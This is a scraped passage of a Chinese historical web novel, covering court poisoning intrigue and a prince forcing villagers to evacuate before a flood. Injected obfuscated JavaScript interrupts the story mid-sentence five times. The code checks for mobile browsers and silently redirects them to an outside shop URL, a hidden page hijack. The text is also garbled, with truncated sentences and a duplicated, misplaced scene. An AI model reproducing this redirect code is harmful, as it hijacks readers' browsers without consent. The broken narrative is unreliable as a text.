皇后平日里待其他皇子虽不如太子那般亲昵,但梁今越出生不久就被封了太子,背后还有崔家,不管是皇后还是太子之位,都坚不可摧,皇后何须对那些怀有龙胎的妃嫔下手? 况且皇后曾被禁足三年,那段时日,妃嫔们不是落胎便是诞下死婴,皇后都自顾不暇,怎么还能分心对那些人动手? 梁文帝再不喜皇后,也不至于任由旁人污蔑了去,“院使是妇科圣手,就这么决定了。” 见贵妃不情不愿地离去,云暮思虑了片刻,还是叫过一个小太监,“替本将军去皇后宫里传句话。” 这一胎,必定有诈。 云暮回了布政坊,一眼就看见中郎将正带着金吾卫操练,而队伍的最边上站着一个才与他们腰平齐的十五。 这几日孟煦有事外出,十五在家待得无聊,云暮便把人带来跟他们学武,十五人虽小,但从那种地方出来的,察言观色的功夫学得比武艺还好,来了几日,不止学了武,还同金吾卫的人打成了一片。 十五见到云暮,对她扬起了一个笑,而后又专心地挥起了手中的木剑。 布政坊的剑都是开过刃的利剑,他们也不敢给十五用,于是冯章便捡了跟树枝,略做修剪,给十五做了一把木剑。 云暮驻足看了片刻,正要去书房,就听见外头的喧闹之声:“我不要去!” “本公子堂堂一个侯爷世子,去一个太监底下当差,这算什么事?传出去咱侯府的脸都要丢尽了!” “闭嘴!你做出这种事,还有脸了,你爹我求爷爷告奶奶才让宁国侯压下此事,你若在犯浑,本侯这就回去请家法,再请族老……” 今日因十五在,中郎将便挑了一个阴凉处,谁想竟听到了这番话,来人声音之大,让院里院内的人都听了个清楚, 在场之人你看看我,我看看你,最后目光在云暮身上停留了一瞬,又飞快移走。 云暮也低头看了看自己,这附近不时大理寺就是御史台,太监似乎只她一人?她才转身没走几步,就看见安远侯拎着一个面无表情的人进了布政坊。 见了云暮,安远侯松了手,“云将军,本侯去求了圣旨,让这个逆子在布政坊待上一段时日,你平日里如何训练他们,就这么对这个逆子,不用对他手下留情。” 世子站定后直接转身:“爹,我不练,我要回去见祖父。” 安远侯府的老太爷溺爱孙子,不管对方闯了多大祸事,都派人善后,以至于世子如今已经年过二十,心性却还是如十五岁,只是这回他又犯了什么错,竟让侯爷亲自连夜送来,生怕人跑了似的。 云暮接过圣旨,是梁文帝亲笔所书,但上面并未说明来金吾卫之由,便将其给回了安远侯。 “侯爷还请放心,本将军一定不负你所托。” “那就多谢云大人了,记得,莫要手下留情。” 说完,安国侯把人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632448|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往云暮身边那边一推,带着家仆浩浩荡荡地走出了布政坊。 …… 太子跟着沈聿明,苦口婆心地劝人搬离,但从白日到日暮西沉,都无人理会,好不容易有人说愿意搬,但官府的人得将他屋里的东西和田间的庄稼都一同搬去。 屋里的东西还好说,但地里的庄稼如何能搬? 见沈聿明他们束手无策,村民指着地里的庄稼说道:“如今庄稼长势甚佳,这要是搬走了,谁来替我们打理?秋日的赋税又拿什么来交?” “殿下,你们吃顿饭就是几百两银子,而我们这些人种上一辈子的地也攒不下这么多钱,你要我们如何肯搬?” 沈聿明突然沉默,如今天气好得让人挑不出毛病,百姓靠天吃饭,自然不会相信他的话,他有些心力憔悴,自暴自弃地想着,不想在劝,应由着他们自生自灭。 他大失所望地望着这些已经劝过无数次的人:“本王所言非虚,你们此时若是搬走,还能将家里的东西拿上,但如果晚了,到时别说粮食,命可都要没了。” 沈聿明丢下这句话,便策马走了,这些人不信,江城那些 受过他恩惠的人或许会听。几千余人分成十几批站曾经的集市上。 同样的话,沈聿明和太子讲到口干舌燥,但无一人应答,最后沈聿明说道:“即便搬走,如今能排队领粥的,往后亦可,直至除掉水患。” 听了这番话后,终于开始有人附和,一人出声,其余人也开始附和,沈聿明终于松了口气,这还是这么多时日以来,第一次胜利,他大手一挥,“去找官府登记,而后回去收拾东西,分批搬走,先走之人回去清扫出房屋,后走的则要继续疏通河道。” 沈聿明手里捏着他们的饭袋,无人敢有异议。 到了日暮时分,官府外依旧站着不少人,沈聿明揉了揉眉心,说道:“今日就先到这里,剩下的明日早些来。” 他回到驿站,一头扎进了书房,提笔写下一封厚厚的书信:“送到京城。” 第一百章 骗人 因要交换情报和一同外出,这几日沈聿每日用了早膳就往太子的院里走,今日亦是。 “皇兄,贵妃不安好心,就算崔家人还在京城,但对于后宫之事,他们鞭长莫及,再不回去,对臣弟的影响倒也不算大,但对皇兄可就不一定了。” 他悠悠提醒:“贵妃这胎铁了心想要扣在皇额娘头上,这次她没达到目的,但下一次可就说不定了。” 太子接过那封信,细细看完之后,还有几分狐疑,他的人都没有把消息送来,怎么沈聿明比他还早知晓? “你哪来的消息?” 问完之后,他哂笑了一声,“孤倒是忘了,你和云暮交好,父皇身边的事怎么能瞒得过你。” 沈聿明不置可否:“这事云将军已经告知皇额娘,让她早做防备了。” 太子沉默了片刻,“多谢。” 沈聿明道:“只要解了水患,皇兄便可在朝中立威,届时你势大,再有崔家,贵妃便敢再对皇额娘下手。” “但如果没做好,失了民心和帝心,臣弟倒是无所谓,可皇兄和皇额娘的日子可就要难过了。” 太子微怔:“你不想争?” 沈聿明收回那封信:“说不想争恐怕皇兄也不信,但臣弟此次回来,确实只想查清当年的真相。” 太子比沈聿明要大,纵火一事,他记得清清楚楚。 “你觉得那件事有蹊跷?” 沈聿明摇头,没有再多说,当年之事多了去,他要查的可不止这一件,如今这番话不过是为了让太子放下戒心罢了。 “走吧,今日要去漳城。” 熙熙攘攘的街道,小摊随处可见,比起江城,漳城的人如今还算是安居乐业。 见了生面孔,还身着华服,骑汗血宝马,路上之人都仰着脖子看,人走后还踮着脚望着他们去的方向,纷纷猜测。 “他们是谁?” “还带着刀,看起来不似常人。” “好像是往府衙去了。” “难不成是太子?” 他们这些地方,一年都没有几个大官会来,近日只听说太子和秦王到了江城,这几个人多半就是了。 “他们来漳城作甚?” “那谁知道呢,你既想知,不如去打探一二,回来同我们说说。” 方才问话之人啐了一口,“你没瞧见他们腰间的剑吗,只怕才一靠近,我的小命就要没了。” 沈聿明一行人无心欣赏,直奔府衙,把知府吓了一个好歹。 “下官见过太子殿下,秦王殿下。” 沈聿明开门见山:“上次让你劝人搬离漳渠附近,如何了?” 知府面露难色,“还有一人不愿搬走,还说府衙之人危言耸听。” “家在何处?” 沈聿明看着面前这个摇摇欲坠的茅草屋,想到他给人置办的房屋,很是不解。 “他为何不搬?” 知府叹了一口气,“这是他家祖宅,那几个也是,世代单传,如今传到他这里,卖得只剩下眼前这个茅草屋,还断了香火,他觉得愧对列祖列宗,便想死守祖宅,告慰先灵。” 沈聿明:…… 太子:…… 其余人:…… 就连说这话的知府都很是无奈,但他着实没有办法了,但还有一事他并未说出。 此次漳渠开闸不同往日,必会牵连到两侧之人,游说他们不算什么难事,就是这个老无赖说什么都不愿意搬走。 听到动静,沈聿明余光瞥见一个如炮仗一般的身影直直朝他们的方向冲来,他把太子护在身后,身边的侍卫也察觉到了,忙上前把人护在中间。 “大人,您来了,可是想好要答应小人的条件了?” 来人正是那个不愿搬走的老无赖。 知府对着他的脑袋拍了一掌:“这是太子和秦王二位殿下,还不快点行礼?” 老无赖笑嘻嘻地跪在地上叩三下头,“二位殿下也答应小人的条件了?” 沈聿明见他不停地搓手,满脸猥琐之相,虽知不该以貌取人,但心下还是忍不住厌恶。 他看向知府:“什么条件?方才怎么没听你提起?” 才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“王爷此话当真?” 沈聿明信誓旦旦道:“那是自然,回京封王建府后,媒婆都踏破王府门槛了,这些都是经验,本王还能骗你不成?” 老无赖当即回了破茅屋收拾东西,“小人即刻就搬。” 太子嘴角微微抽搐,看着沈聿明胡言乱语,“皇弟这张嘴,不去做御史,还真是可惜。” 沈聿明笑嘻嘻地说道:“臣弟不过是实话实说罢了。” 第一百零一章 贵妃中毒 左右也无事,沈聿明也顺道去宏村瞧瞧,江城的一部分百姓也要迁到此地暂住,若房子还未建好,恐生事端。 也幸好他来了。 半个时辰前。 刘志携全家老小搬至宏村,东西才刚搬进屋里,没多久,一个妇人带着几名高壮的男子直接闯进他们的家中,将东西都丢了出去。 刘志拿出官府批的凭证,让其把东西捡回,谁料被那几人兜头打了一顿,分配房屋的凭证也被他们撕毁。 妇人翘着小指捏起桌上那个破旧的包袱,砸到了刘志的身上,很是嚣张:“什么凭证,你们见到了吗?” 其余男子同时摇头:“没有。” 她又问那几个围观之人:“他们是自愿搬出,将房屋让给我的是吧?” 众人无人应答,除去刘志一家,也无人出声反驳。 妇人冲刘志得意一笑,“你瞧,你身上的伤都是你自个儿摔的,这房子也是你们让出来给我的,都与我无关,你若赶去告到官府,我让你们宏村住不下去!” 她指着不远处那个小屋说道:“喏,哪儿才是你们的家,记住了?” 刘志哪里肯依,刘家还尚未分家,一家老小全挤在一块,又是第一个搬过来的,秦王特意拨给他一个勉强够住的房子,谁料才刚搬来,就发生了此事。 他起身挡在门口∶“我的房子就在此处,你们若是强占,那我也只能告到官府。” 周围的人纷纷劝道:“罢了吧,你搬走就是,同他们争论,你讨不了好的。” “是啊是啊,这儿的县长是她小叔。” “民不与官斗啊,更何况你一个从江城搬来的。” …… 诸如此类的话,一句又一句地钻入刘志的耳中,他怒道:“那又如何,既然这般有本事,为何不一早便让县长把这个房子拨给她住?” 被人揭了短,妇人恼羞成怒:“给我打!” 自从周围的房子慢慢建起,她一早就相中了这一间,奈何这些是给避灾之人住,与他们无关,但她县长小叔说了,若一直无人住,他们便可自行处理。她左等右等,眼瞅着快到王爷说的时间了,没想到竟然真有人搬了进来。 原本十拿九稳的东西,居然被人占了,妇人当即带人杀了过来。 见不是老的就是小的,他们自然没有把人放在眼里,打就将人打服便是了,结果居然是个硬骨头。但再硬也得把房子给她腾出来。 她歪了歪头,笑道:“那又如何,即便告到官府他们也不会对我真的动手,反倒是你,再敢废话,就滚出宏村。” 又命人把刘志打了一顿后,才将人丢进了那个小屋子。 沈聿明他们到时,正好撞见了这一幕。 “你们这是在做什么?” …… 未央宫里,红玉接过门外递进来的东西。自从太子离京,后宫又是贵妃管事,皇后便闭门谢客,只有初一十五才将门打开,只因陛下要宿在未央宫。 皇后礼佛出来,身上还带了厚重的檀香,“什么东西?” 红玉将盒子打开,来到皇后跟前:“这是云大人送来的象牙辟毒筷。” 皇后眉眼一冷,顿时收回手:“丢出去。” 红玉忙道:“娘娘,贵妃这胎像是冲着咱来的,不若将辟毒筷留下,也能防备一二。” 云暮同沈聿明交好,人才走,又想起巴结她,皇后心里还是怨着他,“未央宫什么稀罕物没有,还能缺了一双辟毒筷不成?丢出去!” 红玉惋惜地看了辟毒筷一眼,但到底没有如皇后所说的那般丢出去,反倒是收进库房,放在了一个不起眼的角落。 前几日,一个不起眼的小太监来传话,说是贵妃欲让皇后照顾她直至产子,当真荒谬! 皇后有无戕害有孕妃嫔,红玉比谁都清楚,这帽子被硬扣在皇后头上,她气得差点要去长乐宫同贵妃争辩一二。 去打听了才知晓这些话并未传出,红玉不由地松了口气,幸而被皇上推拒。 红玉才从库房出来,就隐约听见有人在叩宫门,很快又转为拍门,再往前走,便能听到有人在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632450|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外喊叫:“皇后娘娘,救救我们娘娘。” 红玉忙叫人将门打开,只见贵妃身边的红袖顺着门的力度跌进未央宫,仰头见是红玉,忙抱住她的腿哀求:“红玉姑姑,求您让皇后娘娘救救贵妃娘娘。” 外头的喧闹让皇后静不下心,她从书房走出,“何事如此喧扰?” 红袖撒开手,起身跑向皇后,一连磕了好几个头:“皇后娘娘,我们娘娘被人下了毒,求您救救她。” 皇后皱眉,“那还不快去请太医!皇上那边去请了吗?” 红袖回道:“请了太医,奴婢一时情急,只想着来请娘娘了。” 皇后在心里骂了一句蠢货,“摆驾长乐宫,黄德全,去勤政殿请皇上。” 云暮跟在梁文帝身后,再次来到了长乐宫。 贵妃一见了梁文帝,挣扎坐起扑入他的怀中,“皇上,有人要害我们的孩子!” 面色苍白,冷汗将鬓边的发黏在脸上,言语间满是惊恐。 云暮扫了殿内一眼,最后落在正验着桌上吃食的院使和 另一个太医身上。 梁文帝轻拍贵妃的后背,低声安慰了几句,转而问道:“发生了何事?” 院使回道:“臣来时,贵妃呕吐不止,呼吸不畅,隐隐有些见红,许是中了毒。” “何物所致?” “皇上,菜还未验完。” 院使他们也才到不久,这桌上的东西还未验完,不敢轻易定论。 梁文帝下巴微抬,云暮了然地走到桌边,问道:“不知贵妃娘娘最后用的是哪道菜?” 贵妃把头埋在梁文帝怀中,一言不发,倒是红袖出了声:“回大人,娘娘自有身孕以来,便喜食辣,最后用的是那道双椒鱼。” 云暮接过太医递来到银筷,挑了一块鱼肉,见银筷未变色,又放在鼻下嗅闻,而后摇了摇头。 三人将桌上的菜都验了一遍,银筷还是没有变色,云暮的目光落在了距离最远的那一道甜汤上。 她拿起汤勺舀了舀:“红豆甜汤?” 第一百零二章 阴暗的想法 妇人只瞥了沈聿明一眼,便指使着男人把人拖进那边的小屋,才道:“年轻人,我劝你还是莫要多管闲事。” 这里的人除去刘志,无人认识沈聿明,他方才急着赶路,将知府他们甩在了后头,如今不过文竹跟在他身边,他对刘志摇了摇头,阻了对方的话头。 翻身下马,他来到妇人跟前:“若我就要管这桩闲事又如何?” 那几个男人见状,没再管刘志,而是把沈聿明二人围在中间。 妇人见他模样生得好,当下也多了些耐心,好言劝道:“小兄弟,劝你还是莫要多管闲事,那人肖想不该是他的东西才落得如此下场,他都不曾说话,你又何须替他出头。” 沈聿明疑惑问道∶“那不是你方才恐吓,他才不敢说吗?” 妇人见他听不懂好赖话,当下也收了笑意:“你可知此处是谁管事?” 沈聿明上下扫了她一眼,确认先前在宏村没见过此人,“总不能是你吧?” 妇人无端从他的语气里听出了不屑,瞬间就像被点燃的炮仗:“怎么不能是我?在这宏村,我说了算,你若是想在村里安生地生活,我劝你还是少管闲事。” 几人说话间,太子和知府终于赶到。 “王爷。” 围观之人皆如遭雷劈之相,呆滞在原地,那硬气的妇人不可置信地看向沈聿明:“你是王爷?” 有人开了头,刘志亦不用再瞒着沈聿明的身份,他将碎成片的凭证捧至沈聿明面前∶“王爷,此妇意图占了草民一家的房子,还撕毁了官府发的凭证,逼我们一家老小都住进那个只有一间屋子的房子!草民不依,便对我们大打出手。” 沈聿明只扫了一眼,就认出那是他派人特制的凭证,他捏起其中一片∶“你还有什么要狡辩的吗?” 妇人抱着头尖叫了一声,“你怎么会是王爷?” 而后又指着刘志说道:“你早知他是王爷,方才为何不说?” 说罢,便想趁沈聿明他们不备偷偷溜走,但文竹和那些赶来的侍卫怎会给她机会?手中的剑才亮出几寸,他们便被吓得呆在原地,纷纷求饶。 沈聿明睨了一眼知府,“你怎么看?” 知府擦了擦汗,瞪了妇人一眼,“还不把人家的东西给抬进去?” 几人手忙脚乱地捡起地上的东西,将上面的尘土一一拍净后,恭敬地将刘志一家迎了进去。 知府才到,就有人去和保长通风报信,保长显然与妇人相识。 “都是误会,误会,小妹误以为他们是抢了别人的房屋来住,这才起了冲突,是吧?” 保长用胳膊肘杵了杵妇人,妇人哎了一声,笑道:“可不是,这房子都是王爷自掏腰包建来给灾民所住,难免会有一些心术不正之人钻空子。” 刘志听后,梗着脖子说道:“我可是有凭证的!” 妇人讥诮一笑:“谁知你那凭证是真是假。” 刘志:“你……” 沈聿明冷冷道:“这凭证是本王派人特制,江城无人敢弄虚作假,你的意思是本王给了他们假凭证?” 妇人面色大骇:“民妇绝无此意。” 沈聿明却不再看她,转头同知府说道:“你知道该怎么做。” 说完,他抬步往村子的另一边走去,路上他突然想到,既然沥城之人不愿搬走,不如就借建造房屋把人哄出。 于是附耳对文竹低语了几句,惹得太子侧目。 “还有三四日,若他们还是不搬,你怎么做?若到时无雨呢?” 沈聿明回道:“雨必定会下,要么提早一两天,要么就晚一两天,若是不走,那便派人把他们押走。” 漳江二城的守卫加起来,他不信那些人宁愿死在刀下也不愿搬走。 沈聿明二人回到江城时,城门早早就关上了,按理说不应开城门,但自山洪暴发以来,江城的宵禁形同虚设,是以守卫很快便开了门,就在城门再次要合上之时,有声音自后传来:“且慢!” 守卫不敢听他言,若是贼人,那他们就遭殃了,好在沈聿明听出是文竹的声音,“是本王的人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632451|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文竹胯下之马已经跑出了残影,飞驰穿过城门时,还不忘同守卫道谢。 “王爷,都吩咐下去了,若是不出意外,明日应该会走一批人。” 沈聿明把水壶抛给他:“嗯,走吧。” 翌日上午,沈聿明见还有不少人留在村子里,不禁蹙眉,招来保长:“为何他们不去?” 保长搓了搓脸:“他们说那里离村子太远,来回不方便,不愿去。” 沈聿明问道:“不是有供他们吃住的地方吗?” “这……小人也不知。” 保长也愁啊,鬓角的白发都多了几缕,太子、秦王、知府,他一个都得罪不起,但这些人就是不肯搬,他有什么办法? 每日在三城之间奔波,沈聿明累得沾枕就睡,但这些人却依旧我行我素,他们不是不想搬,只是想趁机多讨些好处,但此处出来,户部只拨了五万两银子,要不是他逼着顾家吐出不少粮和钱,只怕如今已经分文不剩了。 他阴暗地想着,既然这些人不愿搬,那不如就让他们葬身洪水好 了,反正也是他们咎由自取。 但很快,他又止住了这个念头,他是王爷,该为万民计,轻轻吐了一口浊气,“把三位知府都叫来。” 还有三日,不能再拖了。 梁文帝下巴微抬,云暮了然地走到桌边,问道:“不知贵妃娘娘最后用的是哪道菜?” 贵妃把头埋在梁文帝怀中,一言不发,倒是红袖出了声:“回大人,娘娘自有身孕以来,便喜食辣,最后用的是那道双椒鱼。” 云暮接过太医递来到银筷,挑了一块鱼肉,见银筷未变色,又放在鼻下嗅闻,而后摇了摇头。 三人将桌上的菜都验了一遍,银筷还是没有变色,云暮的目光落在了距离最远的那一道甜汤上。 她拿起汤勺舀了舀:“红豆甜汤?” 云暮扫了殿内一眼,最后落在正验着桌上吃食的院使和另一个太医身上。 梁文帝轻拍贵妃的后背,低声安慰了几句,转而问道:“发生了何事 第一百零三章 下毒真凶 红豆都被人碾成了两半,煮出来的甜汤甚是浓稠,云暮细细搅拌,最后挑出了一粒还算完整的红豆。 只是这个红豆与寻常红豆有些不同,即便是长久熬煮,也依旧能看出下半部分的黑色,云暮将此物递给院使。 “皇上,此物名为相思子,含有剧毒,若人误食,轻则中毒,重则丧命。” 院使话间,云暮尝了一小口甜汤,但很快又吐了出来,又漱了口才道:“甜汤里还被人加了夹竹桃的汁液,为了掩盖苦涩之味,只能往甜汤里多加糖。” 贵妃小声抽泣:“皇上,臣妾只吃了一小口的红豆汤就见红,若是将那一整碗都吃下,只怕后果不堪设想。” 梁文帝怒上心头,“黄如海,去查!朕倒要看看是哪个不知好歹的竟敢残害龙嗣!” 验出了毒后,云暮站到一边,任由院使解释,只要得了毒物,解毒对太医来说不是问题。 院使才将两者之毒说清,门外传来一声惊呼:“三殿下,您慢些。” 三皇子梁承熙火急火燎地闯了进来:“母妃!您没事吧?” 才扭头就看见寝殿里站了不少人,他停住脚步,恭恭敬敬地对着三人行礼后,忙单膝跪在脚踏上:“听说有人下毒戕害母妃,父皇,您一定不要放过此人!” 苦涩的药被人端来,三皇子接过,一勺一勺喂给贵妃,母子情深,不外如是。 夹竹桃有毒,宫中早早将其砍了去,只剩玉春堂附近的几棵。很快,黄如海就带着罪魁祸首和证人来了长乐宫。 “皇上,奴才查了,只有许嫔今日去过玉春堂,还折了一枝夹竹桃回去,但奴才带人去时,只剩下这些。” 一个小太监捧着几片叶子到了梁文帝面前:“等奴才去时,许嫔宫里只剩这一点。又在许嫔的梳妆盒里找到了这些。” 黄如海手一摊,一捧红中带黑的相思子出现在众人面前。 云暮只看了一眼就收回眼神,反倒是太医指着那些东西激动说道:“皇上,就是这些!” 惹得云暮看了他好几眼。 梁文帝冷声问:“许嫔,你还有什么要辩解的?” 前些时日,梁文帝日日宠幸许嫔,不过半年,便将膝下无子的她从官女子封到了嫔位,若来日怀上龙胎,妃位于她,唾手可得,梁文帝想不明白她为何要这么做。 许嫔恨恨地盯着贵妃,“没有,这些都是妾身做的,只恨没能将这个毒妇毒死。” 她做这些事根本没有隐瞒,被人查出不过是迟早的事。 梁文帝失望地看着她:“为何?你就这般嫉妒贵妃怀有身孕?” 许嫔大笑起来,眼角沁出了泪水:“皇上,若不是这个贱妇在冬日将妾身推入湖中,妾身怎会被冻坏了身体?再也不能有自己的孩子。” 她抚了抚平坦的腹部,又哭又笑,宛若疯癫:“这一切都是因为她!” 提起那事,梁文帝的眼中终于起了波澜,“当日人多,你脚边还有石头,这才在慌乱中跌入湖中,怎能把此事怪在贵妃头上?” 许嫔含着泪说道:“皇上,当日确实有一双手将妾身推入湖中,您怎么就偏信她一人?” 梁文帝此刻再也没了耐心,“许嫔毒害贵妃,废为庶人,打入冷宫。” 许嫔呵呵地笑了几声,怨毒地盯着贵妃,任由太监将她拖出去。 云暮虽不清楚她们的恩怨,但她总觉得下毒一事没有这么简单。 贵妃勾着梁文帝的衣袖,撒娇道:“皇上,此事有一就有二,臣妾实在是害怕,不如你就应了先前之话吧。” 而这一次,梁文帝并没有直接拒绝,“容朕想想。” 坦房外,一个太监亦步亦趋地跟在云暮身后。 “贵妃和许氏有什么恩怨?” 小太监解释道:“先前许氏在生日宴上不小心跌落湖中,当时正值冬日,许氏又来了小日子,于是就被冻出了小毛病,太医说此后再也不能有孕了。” 云暮奇道:“那时许氏正得宠,皇上不查?” “查了,但那蛇突然出现,主子们都吓作一团,慌乱间的推搡也实属正常,什么都没查出,许氏也因为一味地攀扯贵妃才失了宠,最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632452|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近才复宠。” 小太监想起一事,低声道:“大人,自从贵妃有孕以来,许氏隔三差五就给她送吃食,听说今日那道甜汤便是许氏送去长乐宫的。” 云暮眉尾一挑,贵妃方才为何不说? …… 后半夜,沈聿明被呼啸的狂风吵醒,他披上外衣站在窗边,心中焦急万分,想到云暮所说的时间,心才定了半分。 左右也睡不着,于是将灯挑亮,拿起一本治水的书看了起来。 卯时五刻,鸡鸣声准时响起,而沥城的天却还是灰蒙蒙一片,在外行走都要打上灯笼。 沈聿明再也坐不住,在屋内来回踱步,犹豫了片刻,提起灯笼往知府的家中走去。 接近辰时时,天空突然飘起细雨,谁也不敢再拖,决定调取沥城的大半守卫,将王家村的人都逼至漓县。 见守卫拔剑,王家村那些胆小之辈纷纷拿着将家中值钱的东西放置在木板车上,摇摇晃晃地推着前行。 照着 这个速度,怕是洪水来了他们都没走出一里地,沈聿明大声道:“只准带些衣物和银钱。” 拥挤的人群中有人喊道:“还有两日,怎么来不及?难不成王爷你是想让咱们花大价钱买你的粮?” 这些是他们辛苦半年种出来的,怎能说丢就丢?只要都把米粮拿上,他们就不信沈聿明能把人全杀了。 存了这种心理,那些人是越拿越多,木板车上的东西垒得比人还高,他们恨不得将木梁土砖都搬到车上。 雨势越来越大,即便带着斗笠,雨水还是打湿了沈聿明的衣裳,雨越下越大,也不知洪水何时会来,他压着怒气,说道:“本王再说一次,除去一些银钱和衣物,其余东西都不许拿,到时本王会派人搭棚施粥。” 王家村的族长示意村民继续搬,他则走到沈聿明面前,说道:“王爷,这些粮就是大伙的命啊,就算是要走,咱也得把这些粮带上不是,否则到秋日如何交得起田税?” “若您通融通融,免了王家村的田税,小人一声令下,他们保证只拿衣物就走。” 地一百零四章 要么死,要么走 沈聿明双眼微眯:“你在威胁本王?” 族长笑道:“小人不敢。”脸上却是掩不住的得意。 即便是王爷又如何,没有他发话,王家村的所有人不都是听他的?况且,他也是为了王家村所有人着想。 江城被毁于一旦,只要能免一年的田税,他们将粮食高价卖给江城人,趁机大赚一笔,往后几年都不用愁了,毕竟谁让他们不放闸开水,地里的麦叶都发黄了,若是收成不好,他们定要闹到京城! 每次来劝王家村的人搬走,一些人前脚才答应得好好的,后脚就换了说辞,说什么都不肯搬,沈聿明一直怀疑是族长从中作梗,但一直抓不到把柄,如今都到了这步田地,他还试图讨价还价,也不怕没命花? 沈聿明不再同他废话,将他的双手束在背后,剑身搭在他的脖上,这个变故让所有人都始料未及。 “王爷。” “族长。” 沈聿明说道:“把本王刚才说的话跟他们重复一遍。” 族长梗着脖子就是不语,沈聿明对着他的大腿就是一剑。危难关头还拿一村的人命来赌,这种人便是死都不足惜。 族长的惨叫声划破天际,村民都停下动作,围了过来。 沈聿明说道:“本王再说最后一次,只许拿衣物和一些银钱。” 族长忍着痛说道:“听我的,把粮食都搬走,这些狗官定是想在我们走后,偷偷将粮食拿走,一定不能让他们如愿……” 他话还没说完,就被沈聿明一剑封喉,提着衣领把族长丢在人群中:“两条路,要么死,要么走,随你们选。” 王家村里,除去族长媳妇的哭骂声,只剩雨声,就连平日里那些仗势欺人的狗都夹着尾巴缩在角落。 “我要告到京城,我要去皇上面前揭发你!” 族长的媳妇突然扑向沈聿明,他侧身躲过,有三个云暮那般大的人倒在地上,怎么也起不来。她骂骂咧咧地使唤着村人把她扶起,但无一人敢动作。 沈聿明点了点地上的族长,说道:“等敲完二十下锣,还有人不走,那便留下来陪他吧,也免得他在黄泉路上孤独。” 王家村的半数人早早便想搬走,但每次他们刚想要搬走,就被他带着人打了一顿,族长大人颇有技巧,面上看不出,但内里却疼得厉害,一来二去的,也就没人再有搬走的念头。 如今人死了,族长一家老的老,小的小,他媳妇在村里的口碑也不大好,王家村的人纷纷拿起东西就往漓县的方向走去。 一个,两个…… 那个妇人艰难起身,见周围的人几乎都散了,她骂骂咧咧,但有了前车之鉴,却是不敢再骂沈聿明他们。 沈聿明和知府对视了一眼,都能看出对方眼中的松快,“你回去瞧瞧,城中搬得如何了。” 城中的地势不高,还靠近河道,沈聿明一早就让他们暗中将东西搬走,此刻忧心的也是城中的百姓。 虽说从昨日起,城中的百姓都陆陆续续搬走,但如今那边只有一个知县在主事,知府也确实放心不下,他说道:“城中搬得守卫不少,这些人都留给王爷,下官在漓县静候王爷。” 另一边的江城的百姓也正往外搬着东西。 顾家是最早得到消息的,但此前一直不信,直至听了知府之言,这几日才紧赶慢赶地将东西搬走,今日的队伍中,最显眼的便是顾家的马车。 城门一开,顾家的马车便装满东西往城北搬去。 城北多山,地势也高,不足的就是离城中远,且山路难行,从城中到城北的路程和到宏村等地的路程大差不离。搬去城北,得炸山开荒才能搭建房屋,不仅耗钱财,也费人力。 顾家搬去那边,无非是想保住粮食和家产,上次那一万石粮,顾老爷着实心痛。 前方吵嚷,文竹焦急地策马上前,原是顾家的马车撞上了最前头的木板车,却说什么都不肯帮人把东西捡回车上,为数不多的两袋米也被地上了尖锐的石头划破袋子,泛黄的糙米铺了一地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632453|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文竹拦住欲走的几个车夫:“你们撞倒的,给人捡起来。” 